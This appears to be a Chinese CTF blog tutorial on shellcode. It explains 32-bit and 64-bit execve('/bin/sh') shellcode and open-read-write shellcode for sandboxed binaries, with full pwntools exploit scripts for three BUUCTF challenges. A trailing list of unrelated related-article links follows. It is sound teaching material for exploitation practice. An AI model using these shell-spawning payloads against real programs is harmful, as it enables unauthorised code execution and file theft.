一篇文章彻底清楚shellcode(精品)
shellcode 知识汇总
文章目录
- shellcode 知识汇总
- 1.没开沙箱(此时我们可以系统调用get shell)
- (一)32位程序系统调用
- picoctf_2018_shellcode
- (二)64位程序系统调用
- mrctf2020_shellcode
- 2.开启沙箱(orw读flag)
- gwctf_2019_shellcode
1.没开沙箱(此时我们可以系统调用get shell)
(一)32位程序系统调用
32位程序有别于64位程序,32位通过栈传参,我们常用的寄存器有4个数据寄存器(eax,ebx,ecx,edx),2个变址寄存器(esi,edi),2个指针寄存器(esp,ebp).
下边我们就来看一种系统调用方式及其构造:
//这是我们要构造的:
execv('/bin/sh',0,0) //从左到右一次传参数进入ebx,ecx,edx寄存器
汇编如下:
shell = '''
push 0 // 隔开/bin/sh
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor esi,esi
mov eax, 0xb //execv的系统调用号为11,即0xb
int 0x80 //进入系统调用
'''
执行上述shellcode即可getshell.
picoctf_2018_shellcode
这里选取一道buuctf上的一道题目来加深一下理解
题目
检查:
保护机制都没开,很明显应该是要写shellcode
漏洞分析:
程序是不可以Ctrl+f5的,跟进发现问题在这:
如果我们控制了rax寄存器,就可以执行shellcode了,大家可以自己分析,动态调试,发现我们输入的数据正好会被传入rax寄存器中,进行执行,所以下边我们来进行shellcode的编写
#!/usr/bin/env python
#coding=utf-8
from pwn import *
elf = ELF('./PicoCTF_2018_shellcode')
#io = remote('node4.buuoj.cn',28317)
io = process('./PicoCTF_2018_shellcode')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')io.recvuntil('!')gdb.attach(io)shellcode = '''
push 0
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor esi,esi
mov eax, 0xb
int 0x80
'''
io.sendline(asm(shellcode))io.interactive()
(二)64位程序系统调用
64位程序通过寄存器传参,当参数少于7个时,程序将参数从左到右依次传递至rdi,rsi,rdx,rcx,r8,r9.当参数多于7个时,如下传参
H(a, b, c, d, e, f, g, h);a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9h->8(%esp)g->(%esp)call H
64位进行系统调用:
mov rbx, 0x68732f6e69622f //这里没有严格的传参限制,也可以传到其他寄存器中
push rbx //将'/bin/sh'压入栈
push rsp //压入rsp
pop rdi //将'/bin/sh'传递给rdi
xor esi, esi //将esi置0
xor edx, edx //将edx置0
push 0x3b //系统调用号
pop rax //这里也可以直接去掉'push 0x3b;pop rax'改为mov rax, 0x3b
syscall //系统调用
我们还是选取一道题目来加深印象
mrctf2020_shellcode
题目地址
检查:
程序分析:
程序会让我们输入0x400的字节,并通过分析会将我们输入的字节传到rax寄存器中,所以我们还是通过控制rax寄存器来执行shellcode从而get shell.
exp:
#!/usr/bin/env python
#coding=utf-8from pwn import*#io =remote("node4.buuoj.cn",25981)
io = process('./mrctf2020_shellcode')
elf = ELF('./mrctf2020_shellcode')
#libc = elf.libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')io.recvuntil('!')shellcode = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
#gdb.attach(io)
io.sendline(asm(shellcode))io.interactive()
2.开启沙箱(orw读flag)
gwctf_2019_shellcode
目前只做到了64位的orw题目,现在就放64位的题目啦
64位orw题目地址
例行检查:
开了canary,和pie,但没什么影响
这里是开了沙箱的,师傅们也可以进去查看,这里我就不展示了
main函数还是无法反汇编,同样问题是出在call rax
我们思路是控制rax寄存器,执行我们的shellcode,但程序里还会有一个检查机制,在is_printable函数里,
这里会有一个strlen,’/x00’截断,我们可以写shellcode时写入\x00绕过检查
剩下的思路就很简单了,系统调用open打开flag所在路径,系统调用read读flag,(我们可以选择将flag读到栈中,bss段允许的话我们也可以将其读入bss段,就这道题目而言,我将其读在了栈中,有兴趣的师傅也可以尝试将flag读在bss段中),系统调用write,写出flag
直接上exp:
#!/usr/bin/env python
#coding=utf-8
from pwn import *
elf = ELF('./gwctf_2019_shellcode')
#io = remote('node4.buuoj.cn',25438)
io = process('./gwctf_2019_shellcode')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')#gdb.attach(io)
shellcode = '''
//调用open()
push 0 //绕过strlen()检查
push 0
mov r15, 0x67616c662f2e
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
//调用read()
mov r14, 3
mov rdi, r14
mov rsi, rsp
mov rdx, 0xff
mov rax, 0
syscall
//调用write()
mov rdi,1
mov rsi, rsp
mov rdx, 0xff
mov rax, 1
syscall
'''
payload = asm(shellcode)
print len(payload)io.sendline(payload)
#io.sendline('A')io.interactive()
读出了flag!!!
以上就是这段时间对shellcode题目的一些总结,师傅们轻点喷哈哈哈哈哈
一篇文章彻底清楚shellcode(精品)相关推荐
- 一篇文章告诉你标准化和归一化的区别?
一篇文章告诉你标准化和归一化的区别? 2019-02-28 17:12:39 融融网融融网阅读量:484 进一步推进企业的标准化工作,使之发展水平适应经济全球化下市场竞争的要求,促进企业综合实力的提升 ...
- 一篇文章让你读懂Pivotal的GemFire家族产品
一篇文章让你读懂Pivotal的GemFire家族产品 学习了:https://www.sohu.com/a/217157517_747818 转载于:https://www.cnblogs.com/ ...
- DEDECMS教程:上/下一篇文章标题长度的截取方法
对dedecms了解的朋友们,想必对如何获取上一篇.下一篇文章的标签也是非常熟悉.dedecms获取上一篇.下一篇文章的标签分别为:{dede:prenext get='pre'/}.{dede:pr ...
- 一篇文章一张思维导图看懂Android学习最佳路线
一篇文章一张思维导图看懂Android学习最佳路线 先上一张android开发知识点学习路线图思维导图 Android学习路线从4个阶段来对Android的学习过程做一个全面的分析:Android初级 ...
- UML科普文,一篇文章掌握14种UML图
前言 上一篇文章写了一篇建造者模式,其中有几个UML类图,有的读者反馈看不懂了,我们今天就来解决一哈. 什么是UML? UML是Unified Model Language的缩写,中文是统一建模语言, ...
- 用一篇文章说清楚如何写作
专门讲写作的书就有一大堆,这事能用一篇文章说清楚吗? 答案是能的,不信你往下看. 写之前要先弄清楚文章属于什么类型,类型不同写法当然不一样.以沟通为目的的文章最好写,虚构类文章不好写,因为你还要先虚构 ...
- 一篇文章告诉你如何成为数据科学家
文章讲的是一篇文章告诉你如何成为数据科学家,通常来说,年轻人都很容易立志成为什么,例如成为一名科学家,然后又很快放弃.这一方面是因为摆在他们面前的诱惑太多,也因为成为一名科学家真的很不容易. 这一点放 ...
- Android:学习AIDL,这一篇文章就够了(下)
前言 上一篇博文介绍了关于AIDL是什么,为什么我们需要AIDL,AIDL的语法以及如何使用AIDL等方面的知识,这一篇博文将顺着上一篇的思路往下走,接着介绍关于AIDL的一些更加深入的知识.强烈建议 ...
- Android:学习AIDL,这一篇文章就够了(上)
前言 在决定用这个标题之前甚是忐忑,主要是担心自己对AIDL的理解不够深入,到时候大家看了之后说--你这是什么玩意儿,就这么点东西就敢说够了?简直是坐井观天不知所谓--那样就很尴尬了.不过又转念一想, ...
最新文章
- 几个Linux命令输出的各列含义
- 前端开发浏览器兼容问题
- Leetcode怎么调试java代码,IDEA2020.1使用LeetCode插件运行并调试本地样例的方法详解...
- Netty实例-简单的服务端-client实现,凝视具体
- java gb13000 ucs2_采用GB 13000的UCS-2进行存储的文件怎么转换
- 微信公众帐号开发教程第14篇-自定义菜单的创建及菜单事件响应
- audiojs--跨浏览器的HTML音频播放器(可自定义样式)
- excel服务器bom修改,勤哲Excel服务器物料清单BOM表的实现方法
- CSDN公式插入——关于对数
- 乱弹集锦:火柴棍艺术大神
- IDEA: 遇到问题Error during artifact deployment. See server log for details,解决
- 布道微服务_17服务调用失败的解决方案
- 【故障诊断】基于 KPCA 进行降维、故障检测和故障诊断研究(Matlab代码实现)
- 《IT老外在中国》第22期:“中国餐桌”上的法式创新
- 微信号名称乱码什么情况_2020最火微信号,微信号改成什么比较好?
- 奔跑吧恐龙----基于JavaSwing的一个跑酷游戏
- CGAL---点云处理
- SOC低功耗电路设计方法
- 图的存储-邻接矩阵和邻接表之间的相互转化
- C++四位数ABCD
热门文章
- 微信公众 mysql回复图片_微信公众号开发之微信公共平台消息回复类实例
- autocad.net将Geometry对象转换为Database对象
- Beta冲刺-星期四
- OpcEnum交互式用户不可选解决办法
- Python-Snappy的安装 以及报错解决
- python中字典的循环遍历的两种方式
- Arduino 无源蜂鸣器实验
- IOC AOP OOP拙见
- .metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\问题
- docker 配置国内镜像地址